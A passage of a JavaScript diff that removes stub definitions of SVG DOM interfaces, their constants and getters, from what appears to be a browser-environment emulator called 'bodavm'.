"SVG_MORPHOLOGY_OPERATOR_DILATE", {configurable:false, enumerable:true, writable:false, value:2},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEMorphologyElement', "SVG_MORPHOLOGY_OPERATOR_ERODE", {configurable:false, enumerable:true, writable:false, value:1},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEMorphologyElement', "SVG_MORPHOLOGY_OPERATOR_UNKNOWN", {configurable:false, enumerable:true, writable:false, value:0},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEMorphologyElement', "in1", {configurable:true, enumerable:true, get:function in1 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEMorphologyElement'].prototype, "SVGFEMorphologyElement", "in1_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEMorphologyElement', "operator", {configurable:true, enumerable:true, get:function operator (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEMorphologyElement'].prototype, "SVGFEMorphologyElement", "operator_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEMorphologyElement', "radiusX", {configurable:true, enumerable:true, get:function radiusX (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEMorphologyElement'].prototype, "SVGFEMorphologyElement", "radiusX_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEMorphologyElement', "radiusY", {configurable:true, enumerable:true, get:function radiusY (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEMorphologyElement'].prototype, "SVGFEMorphologyElement", "radiusY_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEMorphologyElement', "x", {configurable:true, enumerable:true, get:function x (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEMorphologyElement'].prototype, "SVGFEMorphologyElement", "x_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEMorphologyElement', "y", {configurable:true, enumerable:true, get:function y (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEMorphologyElement'].prototype, "SVGFEMorphologyElement", "y_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEMorphologyElement', "width", {configurable:true, enumerable:true, get:function width (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEMorphologyElement'].prototype, "SVGFEMorphologyElement", "width_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEMorphologyElement', "height", {configurable:true, enumerable:true, get:function height (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEMorphologyElement'].prototype, "SVGFEMorphologyElement", "height_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEMorphologyElement', "result", {configurable:true, enumerable:true, get:function result (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEMorphologyElement'].prototype, "SVGFEMorphologyElement", "result_get", arguments)}, set:undefined},'prototype'); - -// SVGFEOffsetElement对象 -bodavm.memory.globalobj['SVGFEOffsetElement'] = function SVGFEOffsetElement(){if (!(this instanceof SVGFEOffsetElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGFEOffsetElement'], "SVGFEOffsetElement"); -bodavm.memory.globalobj['SVGFEOffsetElement'].prototype.__proto__=bodavm.memory.globalobj['SVGElement'].prototype; -bodavm.memory.globalobj['SVGFEOffsetElement'].__proto__=bodavm.memory.globalobj['SVGElement']; -bodavm.toolsFunc.defineProperty('SVGFEOffsetElement', "in1", {configurable:true, enumerable:true, get:function in1 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEOffsetElement'].prototype, "SVGFEOffsetElement", "in1_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEOffsetElement', "dx", {configurable:true, enumerable:true, get:function dx (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEOffsetElement'].prototype, "SVGFEOffsetElement", "dx_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEOffsetElement', "dy", {configurable:true, enumerable:true, get:function dy (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEOffsetElement'].prototype, "SVGFEOffsetElement", "dy_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEOffsetElement', "x", {configurable:true, enumerable:true, get:function x (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEOffsetElement'].prototype, "SVGFEOffsetElement", "x_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEOffsetElement', "y", {configurable:true, enumerable:true, get:function y (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEOffsetElement'].prototype, "SVGFEOffsetElement", "y_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEOffsetElement', "width", {configurable:true, enumerable:true, get:function width (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEOffsetElement'].prototype, "SVGFEOffsetElement", "width_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEOffsetElement', "height", {configurable:true, enumerable:true, get:function height (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEOffsetElement'].prototype, "SVGFEOffsetElement", "height_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEOffsetElement', "result", {configurable:true, enumerable:true, get:function result (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEOffsetElement'].prototype, "SVGFEOffsetElement", "result_get", arguments)}, set:undefined},'prototype'); - -// SVGFEPointLightElement对象 -bodavm.memory.globalobj['SVGFEPointLightElement'] = function SVGFEPointLightElement(){if (!(this instanceof SVGFEPointLightElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGFEPointLightElement'], "SVGFEPointLightElement"); -bodavm.memory.globalobj['SVGFEPointLightElement'].prototype.__proto__=bodavm.memory.globalobj['SVGElement'].prototype; -bodavm.memory.globalobj['SVGFEPointLightElement'].__proto__=bodavm.memory.globalobj['SVGElement']; -bodavm.toolsFunc.defineProperty('SVGFEPointLightElement', "x", {configurable:true, enumerable:true, get:function x (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEPointLightElement'].prototype, "SVGFEPointLightElement", "x_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEPointLightElement', "y", {configurable:true, enumerable:true, get:function y (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEPointLightElement'].prototype, "SVGFEPointLightElement", "y_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEPointLightElement', "z", {configurable:true, enumerable:true, get:function z (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEPointLightElement'].prototype, "SVGFEPointLightElement", "z_get", arguments)}, set:undefined},'prototype'); - -// SVGFESpecularLightingElement对象 -bodavm.memory.globalobj['SVGFESpecularLightingElement'] = function SVGFESpecularLightingElement(){if (!(this instanceof SVGFESpecularLightingElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGFESpecularLightingElement'], "SVGFESpecularLightingElement"); -bodavm.memory.globalobj['SVGFESpecularLightingElement'].prototype.__proto__=bodavm.memory.globalobj['SVGElement'].prototype; -bodavm.memory.globalobj['SVGFESpecularLightingElement'].__proto__=bodavm.memory.globalobj['SVGElement']; -bodavm.toolsFunc.defineProperty('SVGFESpecularLightingElement', "in1", {configurable:true, enumerable:true, get:function in1 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFESpecularLightingElement'].prototype, "SVGFESpecularLightingElement", "in1_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFESpecularLightingElement', "surfaceScale", {configurable:true, enumerable:true, get:function surfaceScale (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFESpecularLightingElement'].prototype, "SVGFESpecularLightingElement", "surfaceScale_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFESpecularLightingElement', "specularConstant", {configurable:true, enumerable:true, get:function specularConstant (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFESpecularLightingElement'].prototype, "SVGFESpecularLightingElement", "specularConstant_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFESpecularLightingElement', "specularExponent", {configurable:true, enumerable:true, get:function specularExponent (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFESpecularLightingElement'].prototype, "SVGFESpecularLightingElement", "specularExponent_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFESpecularLightingElement', "kernelUnitLengthX", {configurable:true, enumerable:true, get:function kernelUnitLengthX (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFESpecularLightingElement'].prototype, "SVGFESpecularLightingElement", "kernelUnitLengthX_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFESpecularLightingElement', "kernelUnitLengthY", {configurable:true, enumerable:true, get:function kernelUnitLengthY (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFESpecularLightingElement'].prototype, "SVGFESpecularLightingElement", "kernelUnitLengthY_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFESpecularLightingElement', "x", {configurable:true, enumerable:true, get:function x (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFESpecularLightingElement'].prototype, "SVGFESpecularLightingElement", "x_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFESpecularLightingElement', "y", {configurable:true, enumerable:true, get:function y (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFESpecularLightingElement'].prototype, "SVGFESpecularLightingElement", "y_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFESpecularLightingElement', "width", {configurable:true, enumerable:true, get:function width (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFESpecularLightingElement'].prototype, "SVGFESpecularLightingElement", "width_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFESpecularLightingElement', "height", {configurable:true, enumerable:true, get:function height (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFESpecularLightingElement'].prototype, "SVGFESpecularLightingElement", "height_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFESpecularLightingElement', "result", {configurable:true, enumerable:true, get:function result (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFESpecularLightingElement'].prototype, "SVGFESpecularLightingElement", "result_get", arguments)}, set:undefined},'prototype'); - -// SVGFESpotLightElement对象 -bodavm.memory.globalobj['SVGFESpotLightElement'] = function SVGFESpotLightElement(){if (!(this instanceof SVGFESpotLightElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGFESpotLightElement'], "SVGFESpotLightElement"); -bodavm.memory.globalobj['SVGFESpotLightElement'].prototype.__proto__=bodavm.memory.globalobj['SVGElement'].prototype; -bodavm.memory.globalobj['SVGFESpotLightElement'].__proto__=bodavm.memory.globalobj['SVGElement']; -bodavm.toolsFunc.defineProperty('SVGFESpotLightElement', "x", {configurable:true, enumerable:true, get:function x (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFESpotLightElement'].prototype, "SVGFESpotLightElement", "x_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFESpotLightElement', "y", {configurable:true, enumerable:true, get:function y (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFESpotLightElement'].prototype, "SVGFESpotLightElement", "y_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFESpotLightElement', "z", {configurable:true, enumerable:true, get:function z (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFESpotLightElement'].prototype, "SVGFESpotLightElement", "z_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFESpotLightElement', "pointsAtX", {configurable:true, enumerable:true, get:function pointsAtX (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFESpotLightElement'].prototype, "SVGFESpotLightElement", "pointsAtX_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFESpotLightElement', "pointsAtY", {configurable:true, enumerable:true, get:function pointsAtY (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFESpotLightElement'].prototype, "SVGFESpotLightElement", "pointsAtY_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFESpotLightElement', "pointsAtZ", {configurable:true, enumerable:true, get:function pointsAtZ (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFESpotLightElement'].prototype, "SVGFESpotLightElement", "pointsAtZ_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFESpotLightElement', "specularExponent", {configurable:true, enumerable:true, get:function specularExponent (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFESpotLightElement'].prototype, "SVGFESpotLightElement", "specularExponent_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFESpotLightElement', "limitingConeAngle", {configurable:true, enumerable:true, get:function limitingConeAngle (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFESpotLightElement'].prototype, "SVGFESpotLightElement", "limitingConeAngle_get", arguments)}, set:undefined},'prototype'); - -// SVGFETileElement对象 -bodavm.memory.globalobj['SVGFETileElement'] = function SVGFETileElement(){if (!(this instanceof SVGFETileElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGFETileElement'], "SVGFETileElement"); -bodavm.memory.globalobj['SVGFETileElement'].prototype.__proto__=bodavm.memory.globalobj['SVGElement'].prototype; -bodavm.memory.globalobj['SVGFETileElement'].__proto__=bodavm.memory.globalobj['SVGElement']; -bodavm.toolsFunc.defineProperty('SVGFETileElement', "in1", {configurable:true, enumerable:true, get:function in1 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFETileElement'].prototype, "SVGFETileElement", "in1_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFETileElement', "x", {configurable:true, enumerable:true, get:function x (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFETileElement'].prototype, "SVGFETileElement", "x_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFETileElement', "y", {configurable:true, enumerable:true, get:function y (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFETileElement'].prototype, "SVGFETileElement", "y_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFETileElement', "width", {configurable:true, enumerable:true, get:function width (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFETileElement'].prototype, "SVGFETileElement", "width_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFETileElement', "height", {configurable:true, enumerable:true, get:function height (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFETileElement'].prototype, "SVGFETileElement", "height_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFETileElement', "result", {configurable:true, enumerable:true, get:function result (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFETileElement'].prototype, "SVGFETileElement", "result_get", arguments)}, set:undefined},'prototype'); - -// SVGFETurbulenceElement对象 -bodavm.memory.globalobj['SVGFETurbulenceElement'] = function SVGFETurbulenceElement(){if (!(this instanceof SVGFETurbulenceElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGFETurbulenceElement'], "SVGFETurbulenceElement"); -bodavm.memory.globalobj['SVGFETurbulenceElement'].prototype.__proto__=bodavm.memory.globalobj['SVGElement'].prototype; -bodavm.memory.globalobj['SVGFETurbulenceElement'].__proto__=bodavm.memory.globalobj['SVGElement']; -bodavm.toolsFunc.defineProperty('SVGFETurbulenceElement', "SVG_STITCHTYPE_NOSTITCH", {configurable:false, enumerable:true, writable:false, value:2}); -bodavm.toolsFunc.defineProperty('SVGFETurbulenceElement', "SVG_STITCHTYPE_STITCH", {configurable:false, enumerable:true, writable:false, value:1}); -bodavm.toolsFunc.defineProperty('SVGFETurbulenceElement', "SVG_STITCHTYPE_UNKNOWN", {configurable:false, enumerable:true, writable:false, value:0}); -bodavm.toolsFunc.defineProperty('SVGFETurbulenceElement', "SVG_TURBULENCE_TYPE_TURBULENCE", {configurable:false, enumerable:true, writable:false, value:2}); -bodavm.toolsFunc.defineProperty('SVGFETurbulenceElement', "SVG_TURBULENCE_TYPE_FRACTALNOISE", {configurable:false, enumerable:true, writable:false, value:1}); -bodavm.toolsFunc.defineProperty('SVGFETurbulenceElement', "SVG_TURBULENCE_TYPE_UNKNOWN", {configurable:false, enumerable:true, writable:false, value:0}); -bodavm.toolsFunc.defineProperty('SVGFETurbulenceElement', "SVG_STITCHTYPE_NOSTITCH", {configurable:false, enumerable:true, writable:false, value:2},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFETurbulenceElement', "SVG_STITCHTYPE_STITCH", {configurable:false, enumerable:true, writable:false, value:1},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFETurbulenceElement', "SVG_STITCHTYPE_UNKNOWN", {configurable:false, enumerable:true, writable:false, value:0},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFETurbulenceElement', "SVG_TURBULENCE_TYPE_TURBULENCE", {configurable:false, enumerable:true, writable:false, value:2},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFETurbulenceElement', "SVG_TURBULENCE_TYPE_FRACTALNOISE", {configurable:false, enumerable:true, writable:false, value:1},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFETurbulenceElement', "SVG_TURBULENCE_TYPE_UNKNOWN", {configurable:false, enumerable:true, writable:false, value:0},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFETurbulenceElement', "baseFrequencyX", {configurable:true, enumerable:true, get:function baseFrequencyX (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFETurbulenceElement'].prototype, "SVGFETurbulenceElement", "baseFrequencyX_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFETurbulenceElement', "baseFrequencyY", {configurable:true, enumerable:true, get:function baseFrequencyY (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFETurbulenceElement'].prototype, "SVGFETurbulenceElement", "baseFrequencyY_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFETurbulenceElement', "numOctaves", {configurable:true, enumerable:true, get:function numOctaves (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFETurbulenceElement'].prototype, "SVGFETurbulenceElement", "numOctaves_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFETurbulenceElement', "seed", {configurable:true, enumerable:true, get:function seed (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFETurbulenceElement'].prototype, "SVGFETurbulenceElement", "seed_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFETurbulenceElement', "stitchTiles", {configurable:true, enumerable:true, get:function stitchTiles (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFETurbulenceElement'].prototype, "SVGFETurbulenceElement", "stitchTiles_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFETurbulenceElement', "type", {configurable:true, enumerable:true, get:function type (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFETurbulenceElement'].prototype, "SVGFETurbulenceElement", "type_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFETurbulenceElement', "x", {configurable:true, enumerable:true, get:function x (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFETurbulenceElement'].prototype, "SVGFETurbulenceElement", "x_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFETurbulenceElement', "y", {configurable:true, enumerable:true, get:function y (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFETurbulenceElement'].prototype, "SVGFETurbulenceElement", "y_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFETurbulenceElement', "width", {configurable:true, enumerable:true, get:function width (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFETurbulenceElement'].prototype, "SVGFETurbulenceElement", "width_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFETurbulenceElement', "height", {configurable:true, enumerable:true, get:function height (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFETurbulenceElement'].prototype, "SVGFETurbulenceElement", "height_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFETurbulenceElement', "result", {configurable:true, enumerable:true, get:function result (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFETurbulenceElement'].prototype, "SVGFETurbulenceElement", "result_get", arguments)}, set:undefined},'prototype'); - -// SVGFilterElement对象 -bodavm.memory.globalobj['SVGFilterElement'] = function SVGFilterElement(){if (!(this instanceof SVGFilterElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGFilterElement'], "SVGFilterElement"); -bodavm.memory.globalobj['SVGFilterElement'].prototype.__proto__=bodavm.memory.globalobj['SVGElement'].prototype; -bodavm.memory.globalobj['SVGFilterElement'].__proto__=bodavm.memory.globalobj['SVGElement']; -bodavm.toolsFunc.defineProperty('SVGFilterElement', "filterUnits", {configurable:true, enumerable:true, get:function filterUnits (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFilterElement'].prototype, "SVGFilterElement", "filterUnits_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFilterElement', "primitiveUnits", {configurable:true, enumerable:true, get:function primitiveUnits (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFilterElement'].prototype, "SVGFilterElement", "primitiveUnits_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFilterElement', "x", {configurable:true, enumerable:true, get:function x (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFilterElement'].prototype, "SVGFilterElement", "x_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFilterElement', "y", {configurable:true, enumerable:true, get:function y (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFilterElement'].prototype, "SVGFilterElement", "y_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFilterElement', "width", {configurable:true, enumerable:true, get:function width (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFilterElement'].prototype, "SVGFilterElement", "width_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFilterElement', "height", {configurable:true, enumerable:true, get:function height (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFilterElement'].prototype, "SVGFilterElement", "height_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFilterElement', "href", {configurable:true, enumerable:true, get:function href (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFilterElement'].prototype, "SVGFilterElement", "href_get", arguments)}, set:undefined},'prototype'); - -// SVGForeignObjectElement对象 -bodavm.memory.globalobj['SVGForeignObjectElement'] = function SVGForeignObjectElement(){if (!(this instanceof SVGForeignObjectElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGForeignObjectElement'], "SVGForeignObjectElement"); -bodavm.memory.globalobj['SVGForeignObjectElement'].prototype.__proto__=bodavm.memory.globalobj['SVGGraphicsElement'].prototype; -bodavm.memory.globalobj['SVGForeignObjectElement'].__proto__=bodavm.memory.globalobj['SVGGraphicsElement']; -bodavm.toolsFunc.defineProperty('SVGForeignObjectElement', "x", {configurable:true, enumerable:true, get:function x (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGForeignObjectElement'].prototype, "SVGForeignObjectElement", "x_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGForeignObjectElement', "y", {configurable:true, enumerable:true, get:function y (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGForeignObjectElement'].prototype, "SVGForeignObjectElement", "y_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGForeignObjectElement', "width", {configurable:true, enumerable:true, get:function width (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGForeignObjectElement'].prototype, "SVGForeignObjectElement", "width_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGForeignObjectElement', "height", {configurable:true, enumerable:true, get:function height (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGForeignObjectElement'].prototype, "SVGForeignObjectElement", "height_get", arguments)}, set:undefined},'prototype'); - -// SVGGradientElement对象 -bodavm.memory.globalobj['SVGGradientElement'] = function SVGGradientElement(){if (!(this instanceof SVGGradientElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGGradientElement'], "SVGGradientElement"); -bodavm.memory.globalobj['SVGGradientElement'].prototype.__proto__=bodavm.memory.globalobj['SVGElement'].prototype; -bodavm.memory.globalobj['SVGGradientElement'].__proto__=bodavm.memory.globalobj['SVGElement']; -bodavm.toolsFunc.defineProperty('SVGGradientElement', "SVG_SPREADMETHOD_REPEAT", {configurable:false, enumerable:true, writable:false, value:3}); -bodavm.toolsFunc.defineProperty('SVGGradientElement', "SVG_SPREADMETHOD_REFLECT", {configurable:false, enumerable:true, writable:false, value:2}); -bodavm.toolsFunc.defineProperty('SVGGradientElement', "SVG_SPREADMETHOD_PAD", {configurable:false, enumerable:true, writable:false, value:1}); -bodavm.toolsFunc.defineProperty('SVGGradientElement', "SVG_SPREADMETHOD_UNKNOWN", {configurable:false, enumerable:true, writable:false, value:0}); -bodavm.toolsFunc.defineProperty('SVGGradientElement', "SVG_SPREADMETHOD_REPEAT", {configurable:false, enumerable:true, writable:false, value:3},'prototype'); -bodavm.toolsFunc.defineProperty('SVGGradientElement', "SVG_SPREADMETHOD_REFLECT", {configurable:false, enumerable:true, writable:false, value:2},'prototype'); -bodavm.toolsFunc.defineProperty('SVGGradientElement', "SVG_SPREADMETHOD_PAD", {configurable:false, enumerable:true, writable:false, value:1},'prototype'); -bodavm.toolsFunc.defineProperty('SVGGradientElement', "SVG_SPREADMETHOD_UNKNOWN", {configurable:false, enumerable:true, writable:false, value:0},'prototype'); -bodavm.toolsFunc.defineProperty('SVGGradientElement', "gradientUnits", {configurable:true, enumerable:true, get:function gradientUnits (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGGradientElement'].prototype, "SVGGradientElement", "gradientUnits_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGGradientElement', "gradientTransform", {configurable:true, enumerable:true, get:function gradientTransform (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGGradientElement'].prototype, "SVGGradientElement", "gradientTransform_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGGradientElement', "spreadMethod", {configurable:true, enumerable:true, get:function spreadMethod (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGGradientElement'].prototype, "SVGGradientElement", "spreadMethod_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGGradientElement', "href", {configurable:true, enumerable:true, get:function href (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGGradientElement'].prototype, "SVGGradientElement", "href_get", arguments)}, set:undefined},'prototype'); - -// SVGImageElement对象 -bodavm.memory.globalobj['SVGImageElement'] = function SVGImageElement(){if (!(this instanceof SVGImageElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGImageElement'], "SVGImageElement"); 